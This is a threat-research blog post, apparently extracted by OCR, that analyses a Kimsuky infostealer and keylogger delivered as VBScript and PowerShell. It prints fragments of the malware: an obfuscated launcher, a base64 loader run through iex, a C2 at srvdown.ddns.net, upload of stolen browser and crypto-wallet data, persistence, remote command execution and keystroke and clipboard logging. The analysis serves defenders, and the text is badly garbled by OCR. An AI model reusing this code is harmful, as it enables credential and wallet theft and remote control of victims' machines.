Inside Kimsuky’s Latest Cyberattack: Analyzing
Malicious Scripts and Payloads

% labs.k7computing.com/index.php/inside-kimsukys-latest-cyberattack-analyzing-malicious-scripts-and-payloads/

By Suresh Reddy March 25, 2025

Kimsuky, also known as “Black Banshee,” a North Korean APT group active at least from
2012, is believed to be state-sponsored. Their cyber espionage targets countries like
South Korea, Japan, and the U.S. Their tactics include phishing, malware infections (RATs,
backdoors, wiper malware), supply chain attacks, lateral movement within networks and
data exfiltration.

Recently , we came across I0Cs of this APT’s latest attack shared in a tweet, which
pointed to a ZIP file containing the actual payloads. In this blog, we will analyse the
infection chain and conduct a deep dive into the examination of these payloads. We will
also explore how the malware operates, its behaviour, and the techniques used to execute
the attack.
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pipe.zip
3ccd7aea39cd48aa22fbf246f11cd4aaald179efad48bb1c3e30fbf70541fe2cf87
*Keylogger / Coin Infostealer
*hxxp://srvdown[.]ddns.net
#Kimsuky #DPRK

Fig.1.Tweet.

Inside the ZIP file, there are four files: a VBScript, a PowerShell script, and two encoded
text files. These encoded text files contain obfuscated data, which, with further analysis,
could provide crucial insights into the malware’s behaviour and objectives. Below are the
figures showing the encoded content of the two text files, which we will decode and
analyse to uncover the next steps in the attack chain.

Fat

Mame Date modified Type Size

|:] 1.log 15-03-2025 11:40 AM Text Document 26 KB
(&4 1.ps1 02-09-2024 03:04 AM Windows Powers... 1KB
lwbs 16-09-2024 10:03 AM VBScript Script File 5KB
|:] 2.log 02-10-2024 06:00 PM Text Document 5KB

Fig.2.Inside Zip file.
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JG1kIDOgKEd1dC1DaWlJbnNOYWS]jZSAtQ2xhc3NOYW11IFdpb jMyX0JJT1MpL1NlcmlhbES
10DOpOZXctSXR1bSAtUGF0aCAi JHRIDbXBOQYXRoXCRpZCIgLUL0ZW1UeXBl1IERpcmV jdG9ye
bXBOQYXRoXCRpZCINCiRzZXJ2ZXJ1lcmwgPSAiaHROcDovL3NydmRvd24duZGRucy5uZXQvc2V
YOTEISDQUxBUFBEQVRBDQONCMIMKCRpZCAtbGlrZSAIK1ZNd2FyZS50iKSB7DQoJUmVtb3Z1L/
ZVwyLmxvZyIgLUZvcmN]1DQoJUmVtb3Z1TLU10ZW0gLVBhdGggIiRsb2NhbFBhdGhccGlwZVw
0gLVBhdGggIiRsb2NhbFBhdGhccGlwZVwxImxvZyIgLUZvemN1DQodJUmVEtb3Z1LUI10ZW0gL
cngLUZvcleDQoJRthdAOKfQOKDmedWSjdleHiBVchvYWRGanlIHsNCngYXJhbSA
ZNYWS5kYXRvenk9JFRydWUpXSBbU3RyaWSnXSAkdXBsb2FkVEXJIsLAOKCQ1bUGFy YW1 1dGVYK
KVOgW1NOcmluZl0gdGZpbGVQYXRoDQoJKQOKDQoJOWRkKLVRS5cGUgLUFzc 2Vt Ymx 5TmFEZSA
QgPSBOZXctT2JqZWNOIFNSc3R1bS50ZXQuSHROcCS5IdHRWO2xpZW50DQoJJHVWbGIhZE VDb
DQoJdHJSTHsNCgkJIGZpbGVTdHI1YWOgPSBbU31zdGVtLk1 PLkZpbGVdOjpPcGVulUmVhZCg
hlbmtTaXplQnl0ZXMgPSAXTUINCgkJCSRIdAWZmZXIgPSBOZXctT2JgZWNOIGJI5dGVbXSAkY
ZGVAIDOgMAOKDQoJCQ13aGlsZSA0KCRieXR1cl1J1YWQgPSAKZm] sZVNOcmVhbS5SZWFKKCR
kpICIndCAWKSB7DQoJCQkJIGl1bHRpcGFydENVbnR1bnQgPSBOZXctT2JgZWNOIFNS5c3R1b
YUNvbnR1bnQONCgkJCQkkZml sZUNvbnR1bnQgPSBOZXctT2JgZWNOIFNSc3R1bS50ZXQuSHR
BuTWVtb3J5U3RyZWFtXTo6bmV3KCR1IdAWZMZXIPMCAuKCRieXR1clJ1YWQgLSAzKVOpKQOKC
bnR1bnRUeXB1IDOgWINS5c3R1bS50ZXQuSHROCCSIZWFkKZXJzLk11Z2G1hVHIWZUh1IYWR1C1Z.
R1dC1zdHJ1YWOiKQOKCQkJCSRtdWx0aXBhcnRDbZ250ZW50LkFkZCgkZml sZUNvbnR1bnQsT

Fig.3.Encoded data of “1.log”.

ZnVuY3Rpb24gS2V5bGOnIHsNCgkkaWQgPSAoR2VOLUNpbUluc3RhbmN1IC1DbGFzc05hbWUgV21uM:
oJJHR1bXBQYXRoID0gJdGVudjpURULIQDQoJIJHNOb3J1UGF0aCAYICTkdGVEtcFBhdGhcJG1kIgOKCSR:
ayb5sb2ciDQoJdJdGt1eSASICTIiDQoJIGNsaXBiID0gIiINCgkkb2xkY2xpcGIgPSAi IgOKCSRvbGR3al
x1IDOgIiINCgOKCWlImICgoVGVzdClQYXRoICRsb2dQYXRoOKSAtZXEqJGZhbHN1KSB7TmV3LUL0ZWO¢
JHNpZ25hdHVyZXMgPSBAJWOKCVEEbGxJbXBvcnQoInVzZXIzMi 5kbGwiLCBDaGFyU2VOPUNOYXJTZ!
10cnV1KVONCglwdWJIsaWMgc3RhdGl jIGVAdGVybiBzaG9ydCBHZXRBc31uY0t1eVNOYXRI1KG1udCE:
bEl1tcG9ydCgidXN]lcjMyLmRsbCISIENoYXJTZXQ9Q2hhclN1dC5BAXRVKVONCglwdWJIsaWMgc3Rhd(
9hcmRTAGF0ZShieXR1W10ga2V5c3RhdGUpOwWOKCVEEbGxRIbXBvenQoInVzZXIzMi5kbGwiLCBDaGE:
cHVibGl jTHNOYXRpYyBleHR1cmd4gaWS0IE1lhcFZpcnR1YWxLZXkodWludCB1Q29kZSwgaW50 IHVNY:
J1c2VyMzTuZGxsIiwgQ2hhclN1dD1DaGFyU2VOLkF1dG8pXQOKCXBl YmxpYyBzdGF0aWMgZXh0ZXJ1
VmlydEtleSwgdWludCB3U2NhbkNvZGUsIGI5dGVbXSBscGt1eXNOYXRILCBTeXNOZWO0uvVGVAdC5Tdl
BpbnQgY2NoQnVmZiwgdWludCB3RmxhZ 3MpOwOKCVtEbGxJbXBvcnQoInVzZXIzMiSkbGwiKVONCiA(
eHR1cmdgSW50UHRyIEd1dEZvemVncm9 1bmRXaWskb3coKTsNCiAgICAgGICAgGWORSbEL1tcGY9ydCgid:
JvciA9THRydWUpXQOKICAgGICAGICBwdWJIsaWMgc3RhdGl jIGVAdGVybiBpbnQgR2VOV21uZGI93VGV:
L1R1eHQuU3RyaWsnOnVpbGR1ciBOZXh0LCBpbnQgY291bnQpOwlKJOANCiAgICANCiAgICAkKQVBJIII]
luaXRpb24gJHNpZ25hdHVyZXMgLUShbWUgJ 1dpb jMyJyALtTMFEZXNWwYWN 1 TEFQSSAtUGFzc1RocnUl
bWJIseUS5hbWUgU31zdGVtL1ldpbmRvd3MuRm9ybXMNCgOKICAgIHRyeSBT7DQoJd2hpbGUgKCROcnV1K:
xpc2Vib25kcyAIMAOKCQkka2V5ID0gIi INCgkJJGNsaXBiIDOgR2VOLUNsaXBib2FyZCAtUMF3DQo.
KSBTDQoJCQkkY2xpcGIgPSAkY2xpcGIuVHIpbSgpDQoJCXONCgkJaWYoJGNsaXBiICIuZSAkb2xkY:
0gIjw8IiArICRjbGlIwYiArICI+PiINCgkJCXRyeSBTDQoJCQkJIGNvbnR1bnQgfCBPdXQtRmlsZSAf
cGVuZCAtTm90ZXdsaW51TAOKCQkJCSRVbGR jbGlwYiAYTICRjbGlwYgOKCQkJESBjYXRjaCBTDQoJdC(
Rhc2NpaSA9IDg7ICRhc2NpaSAtbGUgMjUOOyAkYXNjaWkrKykgewOKCQkkc3RhdGUgPSAKQVBJIOjpl
aSkNCgkJaWYgKCRzdGF0ZSAtZXEgLTMyNzY3KSB7DQoJCQkkaGFuZGxlIDOgJEFQSTo6R2VORmMIyZ]

Fig.4.Encoded data of “2.log”.

In the 1.vbs file, the obfuscated script uses the chr() and CLng() functions to dynamically
generate characters and execute commands. This obfuscation technique helps the script
bypass signature-based detection methods, ensuring that it remains hidden during
execution.

At the end of the script, the generated characters together form a command that is
executed. This command likely runs the 1.ps1 PowerShell script passing 1.log as an
argument to it.
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Dim =55

Set oShell
ss =

S8 = 383 &
S8 = 383 &
S35 = 83 &
S5 = 53 &
S5 = 53 &
S5 = 853 &
S5 = 853 &
S5 = 88 &
S8 = 383 &
S8 = 383 &
S35 = 83 &
S5 = 53 &
S5 = 53 &
S5 = 853 &

= CreateObject ("WScript.shell")

chr (CLng ("&H12f6a")-77575)

chr (CLng ("&H16110")-90275)
chr (-87806+CLng ("&H15762"))
chr (CLng ("&H17da4™")-97668)
chr (CLng ("&HE531") -62722)
chr (CLng ("&H292a")-10439)
chr (896288/CLng ("&H6d469") )
chr (9473607/CLng ("&H175cd™) )
chr (9612700/CLng ("&H1777£"™))
chr (CLng ("&H5£70") -24400)
chr (1806633/CLng ("&H9627"))
chr (CLng ("&H11be3")-72575)
chr (928096/CLng ("&H714b") )
chr (CLng ("&H100a9") -65668)
chr (917136/CLng ("&H212c") )

Fig.5. Script in “1.Vbs” file to generate characters.

Windows Script Host @

cmd /o cd /d Selocalappdata®epipe & powershell -ExecutionPolicy Bypass
-WindowStyle Hidden -MoProfile -File 1.psl -FileMame 1.log

Fig.6. Deobfuscated command to run “1.ps1”.

In the 1.ps1 file, the script contains a function to decode base64-encoded data found in the
1.log file and executes the script.

param (

[string] $FileName

)

Scontent = Get-Content S$FileName -Raw
Splain = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(Scontent))

iex Splain

Fig.7. Script in “1.ps1” file.
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$id = (Get-CimInstance -ClassName Win3Z2 BIOS).SerialNumber
StempPath = Senv:TEMP

New-Item -Path "StempPath\5id" -TtemType Directory -Force
SstorePath = "stempPath\sid"

Sserverurl = "http://srvdown.ddns.net/service3/"
SlocalPath = Senv:LOCALAPPDATA

if(s5id -1like "*VMware*") |
Remove-Item -Path "5localPath\pipe\2.log" -Force
Remove-Item -Path "SlocalPath\pipe\l.psl" -Force
Remove-Item -Path "SlocalPath\pipe\l.log" -Force
Remove-Item -Path "5SlocalPath\pipe\l.vbs" -Force
Exit

Fig.8. "1.log” file after decoding.

The 1.ps1 script then collects the BIOS serial number, a unique identifier of the
compromised system. This serial number is then used to create a new directory within the
system’s temp folder, ensuring that the attack-related files are stored in a machine-specific
location which is shown in Fig.8.

Being a VMAware sample, the script determines if it is running in a VM, if yes, it will delete

all four files involved in the attack (1.vbs, 1.ps1, 1.log, and any payload files stored in the
serial number named directory), effectively aborting its execution which is shown in Fig.8.

This script contains 11 functions that outline the further steps in the malware’s operation,
including data exfiltration, Coin information stealing, and Command-and-Control (C2)
communication execution. These functions represent the core of the attack, allowing the
malware to perform its objectives and establish a connection with the attacker.

1. UploadFile ()

In the upload function, it uploads the data exfiltrated as a file to the server in chunks of
1MB, ensuring it can handle large files. It waits for the server’s response; if it gets a “200”
status, it proceeds with the execution. Otherwise, it terminates the execution. It sends
each chunk via an HTTP POST request and checks for success with each loop.
function UploadFile {
Param (

[Parameter (Position=0,Mandatory=5True)] [String] SuploadUrl,
[Parameter (Position=1,Mandatory=5True)] [String] S5filePath

Fig.9. UploadFile function.

2. Unprotect-Data ()
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In the unprotect-data function, it takes the encrypted data from the browser paths of Edge,

Firefox, Chrome, and Naver Whale, decodes that data and stores it into a file.

function Unprotect-Data {
param (
[Parameter (Mandatory = S$true) ]
[etring] sencryptedData,
[string]5filePath
)

Fig.10. Unprotect-Data function.
3. GetExWFile ()

In the GetExWFile function, it checks for the crypto wallet extensions mentioned in the
following three hash tables. If it finds any of those wallets, it takes the “.Idb” and “.log” files
of those extensions for exfiltration purposes and stores them in the destination folder
specified by “$Storepath”.

function GetExWFile {
param
[Parameter (Mandatory = Strue) ]
[string] $browser,
[string]sfilePath,
[string] sprofileName

)

Fig.11. GetExWFile function.

ShashTable = @{

"nkbihfbeogaeaocehlefnkodbefgpgknn"” = "meta"”
"egjidjbpglichdcondbcbdnbeeppgdph"” = "trust"™
"ibnejdfjmmkpcnlpebklmnkoeoihofec" = "tron"
"aholpfdialjgjfhomihkjbmgjidlcdno" = "exod"
"fhbohimaelbohpjbbldcngcnapndodjp" = "binan"
"mcohilncbfahbmgdjkbpemcciiolgcge” = "okx"
"bfnaelmomeimhlpmgjnjophhpkkolijpa"™ = "phant"™
"ejbalbakoplchlghecdalmeeeajnimhm"” = "emeta™
"pbpjkcldjiffchgbbndmhojiacbgflha™ = "eokx"
"opfgelmcmbiajamepnmlolijbpoleiama"™ = "rainb"
"phkbamefinggmakgklpkljjmgibohnba" = "pontem"
"dmkamcknogkgcdfhhbddcghachkejeap" = "keplr"

Fig.12. Hash Table1.
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Fig.14. Hash Table3.

ShashTable2? = @{
"bhhhlbepdkbapadjdnnojkbgioiodbic"” = "solf"
"Jblndlipeogpafnldhgmapagcccfchpi™ = "kaia"
"fpkhgmpbidmiogeglndfbkegfdlnajnf" = "cosmos"
"onhogfjeacnfoofkfgppdlbmlmnplgbn” = "subwal"
"pdliaogehgdbhbnmkklieghmmjkpigpa” = "bybit"
"acmacodkjbdgmoleebolmdijonilkdbch" = "rabby"
"aflkmfhebedbjicipglgchbcmnbpgliof™ = "backpa"
"fnjhmkhhmkbjkkabndcnnogagogbneec” = "ronin"
"ppbibelpcijmhbdihakflkdcoccbgbkpo™ = "unisat"
"anokgmphncpekkhclmingpimjmcooifb" = "compas"
"dlcobpjiigpikocbohmabehhmhfoodbb" = "argent"
"efbglgofoippbgcjepnhiblaibcnclgk” = "martia"
"ejjladinnckdgjemekebdpeckbikhfci"™ = "petra”
"fcfcfllfndlomdhbehjjcoimbgofdncg" = "leacos"
"IJnlgamecbpmba’]jfhmmmlhejkemejdma™ = "braav"
"fijngjgcijhjmmpcmkeiomlglpeiijkld” = "talis"
"mkpegjkblkkefacfnmkajcjmabijhclg"” = "magic"
"aeachknmefphepccionboohckonoeemg" = "coin98"
"idnnbdplmphpflfnlkomgpfbpcgelopg"” = "xverse"
"dmkamcknogkgcdfhhbddcghachkejeap" = "keplr"”
"nnpmfplkfogfpmcngplhnbdnnilmcdcg” = "unisw"
"bfnaelmomeimhlpmginjophhpkkoljpa™ = "phant"

Fig.13. Hash Table2.

ShashTable3 = @{
"opcgpfimipidbgpenhmajoajpbobppdil™ = "sui"
"hnfanknocfeofbddgcijnmhnfnkdnaad"” = "cobas"
"kkpllkodijeloidieedojogacfhpaihoh" = "enkr"

4.GetBrowserData ()

In the getbrowserdata() function, it verifies if any of Edge, Firefox, Chrome, and Naver
Whale is currently running to extract user profile data such as cookies, login info,
bookmarks, and web data. It also stops the browser before collecting information about
the installed extensions and cache data, such as webcacheV01.dat, for each browser. For
some of the browsers, it also performs decryption to access encrypted keys and retrieve
sensitive data, which is then stored along with the decrypted master key of encryption.
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if (Test-Path SprofilePath) {

# Sdestpath = "$SstorePath\Edge " + sSprofileDir.Name + " Cookies"
# Copy-Item -Path "SprofilePath\Network\Cookies" -Destination Sdestpath
SilentlyContinue

Sdestpath = "$storePath\Edge " + SprofileDir.Name + " LoginData"
Copy-Item -Path "SprofilePath\Login Data" -Destination Sdestpath -Error

Sdestpath = "$storePath\Edge " + SprofileDir.Name + " Bookmark"
Copy-Item -Path "SprofilePath\Bookmarks" -Destination Sdestpath -ErrorA

# s5destpath = "$storePath\Edge " + sSprofileDir.Name + " WebData"
# Copy-Item —-Path "SprofilePath\Web Data" -Destination Sdestpath —-Error

Fig.15. Content inside Get Browser Data ().
5.1Init ()

In the Init() function, it collects detailed information about the system hardware, disk and
volume details, network adapter status, and a list of all installed programs, including their

version, publisher, and installation date. These details are then saved into a text file called

“info.txt”.

function Init {
soutputFile = "StempPath\5id\info.txt"

if (Test-Path SoutputFile) {
Remove-Item SoutputFile

Fig.16. Init function.
6.Download file ()

The download file function downloads any file based on the C2 command.

function DownloadFile {
Param |
[Parameter (Position=0,Mandatory=5True)] [String] SdownloadUrl,
[Parameter (Position=1,Mandatory=5True)] [String] S$filePath

)

Invoke-WebRequest -Uri SdownloadUrl -OutFile SfilePath
Fig.17. Download file function.

7.CreateFileList ()

The create_file_list() function checks all the drives in the system for specific extensions
and name patterns, and stores the results in the path “$storepath/filelist.txt”.
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function CreateFilelist |
Slistpath = "$storePath\FileList.txt"
Remove-Item —-Path Slistpath -ErrorAction SilentlyContinue

Sdrives = Get-PSDrive -PSProvider FileSystem
Fig.18. CreateFileList function.

Sextensions = "* _ txt", "*.doc", "*.csv", "*.doc", "*.docx", "*.xls", "*_.xlsx", "*.pdf", "*.hwp",
"* hwpx", "*.jpg", "*.jpeg”, "*.png", "*.rar", "*.zip", "*.alz", "*.eml", "*.1ldb", "*.log"
Get-ChildItem -Path $searchPath -Recurse -File -Force -Include Sextensions -ErrorAction
SilentlyContinue | Out-File $listpath -Append

Fig.19. Extensions for checking in drivers.

SnamePatterns =

"wallet |UTC--|blockchain|keystore|privatekey|coin|metamask|phrase|ledger|password|myether™

Get-ChildItem -Path S$searchPath -Recurse -Force -ErrorAction SilentlyContinue | Where-Object
$_.Name -match $namePatterns

} | Out-File Slistpath -Append

Fig.20. Searching name patterns.
8.RegisterTask ()

It creates persistence for the files “1.log” and “1.vbs”.

function RegisterTask {
#Sexecpath = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden
SlocalPath\pipe\l.psl -FileName SlocalPath\pipe\l.log"
Sexecpath = "$localPath\pipe\l.vbs"
Fig.21. Persistence.

9.Send ()

The send () function uploads all the collected information to the server after compressing
the data into a ZIP file named “init.zip”. It then renames the ZIP file to “init.dat” and deletes
all backup files from the system after uploading.

function Send {

Compress-Archive -Path $storePath -DestinationPath "Stemp
Rename-Item -Path "StempPath\init.zip" -NewName "init.dat
surl = Sserverurl 4+ "?id=sid"
Sresult = UploadFile surl "StempPath\init.dat"
Start-Sleep -Seconds 1
if (Sresult -eq strue) ﬂ

Remove-Item —-Path "SstorePath\*"

Remove-Item -Path "StempPath\init.dat"

Fig.22. Send function.

10.Get-ShortcutTargetPath () andRecentFiles ()
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It checks all the “.Ink” files in the Recent folder and stores all the target paths, which are
retrieved with the help of the Get-ShortcutTargetPath function. This information is then

saved to the text file “recent.txt”.

function Get-ShortcutTargetPath ({

param
[string] sshortcutPath
Fig.23. Get-ShortcutTargetPath function.

function RecentFiles {
srecentFolder = [System.IO.Path]::Combine(5env:APPDATA,

SrecentFiles = Get-ChildItem -Path SrecentFolder -Filter
SoutputFile = "SstorePath\recent.txt"
SrecentFiles | ForEach-Object {
stargetPath = Get-ShortcutTargetPath -shortcutPath 5
StargetPath | Out-File -FilePath SoutputFile -Append
Fig.24. RecentFiles function.

11. Work ()

The work function handles the execution of C2 commands along with uploading files and
writing files to the system. It enters an infinite loop, sleeping for 600 seconds (10 minutes)
before uploading the “k.log” file, which was generated from the execution of the “2.log” file.
After uploading, it deletes the file from the system.

function Work {
while ($true) {
Start-Sleep -Seconds 600

surl = Sserverurl + "?id=S5id&ap=1"

Sfilepath = "SstorePath\k.log"

UploadFile surl s5filepath

Remove-Item -Path $filepath -ErrorAction SilentlyContinue

Fig.25. Work function.
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# Command

try{
surl = s$serverurl + "5id/cm"
SwebClient = New-Object System.Net.WebClient
Scontent = SwebClient.DownloadString(Surl)
Invoke-Expression Scontent

surl = Sserverurl + "?id=sid&del=cm"
Invoke-WebRequest -Uri 5Surl -Method Get
} catch {
Scontent = ""
} finally {

SwebClient.Dispose ()

Fig.26. C2 Command execution.

This is the flow of execution of the above functions in this attack, where it executes
another PowerShell command that invokes the “2.log” file, which performs keylogging.

RegisterTask

Init

RecentFiles

GetBrowserData

CreateFileLlist

Send

Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File $localPath\pipe\l.psl
-FileName $localPath\pipe\Z2.log"” -NoNewWindow

Work

Fig.27. Flow of execution of functions and command to execute “2./og’”.

function Keylog {

5id = (Get-CimInstance -ClassName Win3Z BIOS).
stempPath = Senv:TEMP
SstorePath = "StempPath\sid"
S5logPath = "SstorePath\k.log"
Skey = ""
Sclipb = ""
Soldclipb = ""
Soldwintitle = ""
Sswintitle = ""

Fig.28. “2.log” after decoding.

The above figure.28 shows the “2.log” file after decoding. It contains a script for importing
all the Windows API functions required for detecting key presses, getting window titles,
and managing keyboard states. It performs actions such as clipboard monitoring,
keystroke monitoring, and window title logging.
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try {
while (Strue){
Start-Sleep -Milliseconds 50
Skey = ""
Sclipb = Get-Clipboard -Raw
if (Sclipb -ne Snull) {
Ssclipb = Sclipb.Trim()
}
if (Sclipb —-ne Soldclipb) {
Scontent = "<<" + Sclipb + ">>"
try {
Scontent | Out-File -FilePath S5logPath -Append -NoNewline
Soldclipb = Sclipb
} catch {
}

Fig.29. Code for clipboard monitoring.

if ($state -eq -32767) {
Shandle = SAPI::GetForegroundWindow ()
Stitle = New-Object -TypeName System.Text.StringBuilder -ArgumentList 256
SAPI: :GetWindowText (Shandle, Stitle, stitle.Capacity)

Swintitle = ""r’'n'r’'n" + sStitle.ToString() + ""r'n"
if (Swintitle —-ne Soldwintitle) {
try {

Swintitle | Out-File -FilePath 5logPath -Append -NoNewline
Soldwintitle = swintitle
} catch {

Fig.30.Window title logging.
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Malicious activities by this stealer discussed here could be considered the groundwork to
understand the victim and the further C2 commands from the attacker could cause further
damage

As we can see, threat actors are employing techniques that are time consuming,
interlinked multi component based to to become more evasive. Compared to other
stealers, this one is mainly focused on network related information which could be used for
active reconnaissance. As the stealer is aiming at the user’s sensitive information,
protecting yourself with a reputable security product such as K7 Antivirus is necessary in
today’s world. We at K7 Labs provide detection for such kinds of stealers at different
stages of infection and all the latest threats.

I0Cs
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—eq 27} { skey =
-eq 37} { Skey =
—eq 38} { Skey =
-eq 39} { sSkey
-eq 40} { skey
-eq 91} { sSkey
-eq 20} { skey
—eq 42} { Skey
—eq 46} { skey
-eq 112} { Skey
—eq 113} { Skey
—eq 114} { Skey
—eq 115} { Skey
—eq 116} { Skey
—eq 117} { Skey
-eq 118} { skey
—eq 119} { skey =

{BSPACE}" }

— n {THE} n }

"[ENTER}" }
"[SHIFT}" }
"[CTRL}" }
"{ALT}" }
"{ESC}" }
"{LEFT}" }
"{UP}" }
"[RIGHT}" }
"{DOWN}" }
"{WinKey}"}
"[CAPS}"}
"{PRT}"}
"{DEL} "

}
}
"{F2}"}
"{F3}"}
"{F4}"}
"{F5}"}
"{Fe}"}
"{F7}"}
"{FS}"]

F|g 31. Keystroke monltorlng
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Name Hash Detection Name

1.vbs CE4549607E46E656D8E019624D5036C1 Trojan ( 0001140e1 )

1.ps1 1119A977A925CA17B554DCED2CBABD85 Trojan ( 0001140e1 )

1.log 64677CAE14A2EC4D393A81548417B61B  Trojan ( 0001140e1 )

2022 K7 Computing. All Rights Reserved.

13/13



